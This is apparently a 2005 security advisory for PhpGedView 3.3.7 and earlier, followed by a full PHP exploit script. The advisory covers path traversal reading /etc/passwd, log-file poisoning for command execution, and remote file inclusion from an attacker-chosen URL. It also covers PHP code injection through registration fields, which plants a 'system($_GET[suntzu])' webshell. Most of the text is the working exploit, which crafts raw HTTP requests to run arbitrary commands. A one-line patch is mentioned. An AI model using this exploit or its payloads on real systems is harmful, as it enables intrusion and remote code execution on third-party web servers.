--- PHPGedView <= 3.3.7 Arbitrary local/remote code execution & php injection --- software: site: http://www.phpgedview.net/ description: "PhpGedView is a revolutionary genealogy program which allows you to view and edit your genealogy on your website." - vulnerabilties: ---------------------------------------------------------------------------------- i) in help_text_vars.php at lines 31-32: ... require $PGV_BASE_DIRECTORY.$confighelpfile["english"]; if (file_exists($PGV_BASE_DIRECTORY.$confighelpfile[$LANGUAGE])) require $PGV_BASE_DIRECTORY.$confighelpfile[$LANGUAGE]; ... if registers_globals on yo can include/view an arbitrary file from local resources: http://[target]/[path]/help_text_vars.php?PGV_BASE_DIRECTORY=../../../../../../../etc/passwd so, we have remote code execution, example: try to login with: username: password: [nothing] now in log file we have: 2005.12.20 13:16:06 - 127.0.0.1 - Login Failed -> <- so you can launch operating system commands: http://[target]/[path]/help_text_vars.php?cmd=ls%20-la&PGV_BASE_DIRECTORY=./index/pgv-200512.log generally: http://[target]/[path]/help_text_vars.php?cmd=ls-%20la&PGV_BASE_DIRECTORY=./index/pgv-[year][month].log also, if register_globals on and allow_url_fopen on, you can include arbitrary code from a remote location: http://[target]/[path]/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY=http://some_location/path/code.txt patch: at line 30 simply add: ... require('config.php'); ... ------------------------------------------------------------------------------------- ii) if magic_quotes_gpc off, you can inject arbitrary php code in "user_language", "user_email" and "user_gedcomid" arguments when you register, example, in one of this field type: ';error_reporting(0);if(isset($suntzu)){system($_GET[suntzu]);die('HiMaster!');}echo' so in authenticate.php we have something like this: ... $user = array(); $user["username"] = 'SUNTZU2118'; $user["fullname"] = 'suntzu'; $user["email"] = '';error_reporting(0);if(isset($suntzu)){system($_GET[suntzu]);die('HiMaster!');}echo''; $user["language"] = 'english';error_reporting(0);if(isset($suntzu)){system($_GET[suntzu]);die('HiMaster!');}echo''; $user["verified"] = ''; $user["verified_by_admin"] = ''; $user["pwrequested"] = ''; $user["reg_timestamp"] = '1135079288'; $user["reg_hashcode"] = '[hashcode]'; $user["gedcomid"] = array(); $user["gedcomid"]["suntzu"] = '';error_reporting(0);if(isset($suntzu)){system($_GET[suntzu]);die('HiMaster!');}echo''; $user["rootid"] = array(); $user["rootid"]["suntzu"] = '';error_reporting(0);if(isset($suntzu)){system($_GET[suntzu]);die('HiMaster!');}echo''; $user["canedit"] = array(); ... after you can launch commands: http://[target]/[path]/?suntzu=ls%20-la ------------------------------------------------------------------------------------- proof of concept exploit for i) amd ii): ****PhpGedView <= 3.3.7 remote commands execution******

*****PhpGedView <= 3.3.7 remote commands execution******

a script by rgod at http://rgod.altervista.org

* hostname (ex:www.sitename.com)

* path (ex: /phpgv/ or just / )

* specify a command

remote location ( ex: http://www.somesite .com/filename.txt) if you leave blank, Step 2 will be skipped but you have good chances to succeed anyway

specify a port other than 80 (default value)

send exploit through an HTTP proxy (ip:port)

'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo ''; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) {echo "";} else {echo " ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "
  ".$headeri[$li+$ki]."
0".$datai."".$datai."  ".$headeri[$li]."
"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() //if you have sockets module loaded, 2x speed! if not,load //next function to send packets { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "
"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } echo "OK.
"; echo "Attempting to connect to ".$host." on port ".$port."...
"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "

"; } else { echo "OK.

"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:
"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host); die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } $cmd=$_POST[cmd];$host=$_POST[host]; $path=$_POST[path];$LOCATION=$_POST[LOCATION]; $port=$_POST[port];$proxy=$_POST[proxy]; if (($host<>'') and ($path<>'') and ($cmd<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $host=str_replace("\r\n","",$host); $path=str_replace("\r\n","",$path); #STEP 1a -> inject some php code in log file... (this works with register_globals on) $CODE="HiMaster!"; $data="action=login"; $data.="&url=".urlencode("http://".$host."/"); $data.="&ged=php062005.ged"; $data.="&pid="; $data.="&type=full"; $data.="&usertime=2005-12-20+14%3A34%3A57"; $data.="&username=".urlencode($CODE); $data.="&password="; $packet="POST ".$p."login.php HTTP/1.1\r\n"; $packet.="Accept: */*\r\n"; $packet."Referer: http://".$host.$path."login.php\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: URL_Spider_Pro/x.x\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); #STEP 1b -> Launch commands... $packet="GET ".$p."help_text_vars.php?suntzu=".$cmd."&PGV_BASE_DIRECTORY=./index/pgv-".date("Ym").".log HTTP/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="User-Agent: WhizBang! Lab /x.x\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;} if ($LOCATION<>'') { #STEP 2 -> Remote file inclusion... (this works with register_globals on & allow_url_fopen on) $packet="GET ".$p."help_text_vars.php?suntzu=".$cmd."&PGV_BASE_DIRECTORY=".$LOCATION." HTTP/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="User-Agent: Ziggy -- The Clown From Hell!!\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;} } else {echo "step 2 skipped, fill location field if you need this
";} #STEP 3a -> Shell inject... (this works with magic_quotes_gpc off) //don't touch this... $CODE="';error_reporting(0);if(isset(\$suntzu)){system(\$_GET[suntzu]);die('HiMaster!');}echo'"; $CODE=urlencode($CODE); $data="action=registernew"; $data.="&time=Tue%2C+20+Dec+2005+10%3A32%3A46+UTC"; srand(make_seed()); $anumber = rand(1,9999); $data.="&user_name=SUNTZU".$anumber; $data.="&user_password01=suntzu"; $data.="&user_password02=suntzu"; $data.="&user_fullname=suntzu"; //theese args, not properly verified... $data.="&user_language=english".$CODE; $data.="&user_email=".$CODE; $data.="&user_gedcomid=".$CODE; $data.="&user_comments="; $packet="POST ".$p."login_register.php HTTP/1.1\r\n"; $packet.="Accept: */*\r\n"; $packet.="Referer: http://".$host.":".$port.$path."login_register.php?action=register\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="User-Agent: GameBoy, Powered by Nintendo\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); #STEP 3b -> Launch commands... $packet="GET ".$p."?suntzu=".$cmd." HTTP/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="User-Agent: Wget/1.x+cvs-stable (Red Hat modified)\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;} //if you are here... echo "Exploit failed..."; } else {echo "Note: on remote location you need this code in
http:/[remote_location]/filename.txt :
"; echo nl2br(htmlentities(" ?> ")); echo "Fill * required fields, optionally specify a proxy...";} ?> ---------------------------------------------------------------------------------- rgod site: http://rgod.altervista.org mail: retrogod at aliceposta it original advisory: http://rgod.altervista.org/phpgedview_337_xpl.html ----------------------------------------------------------------------------------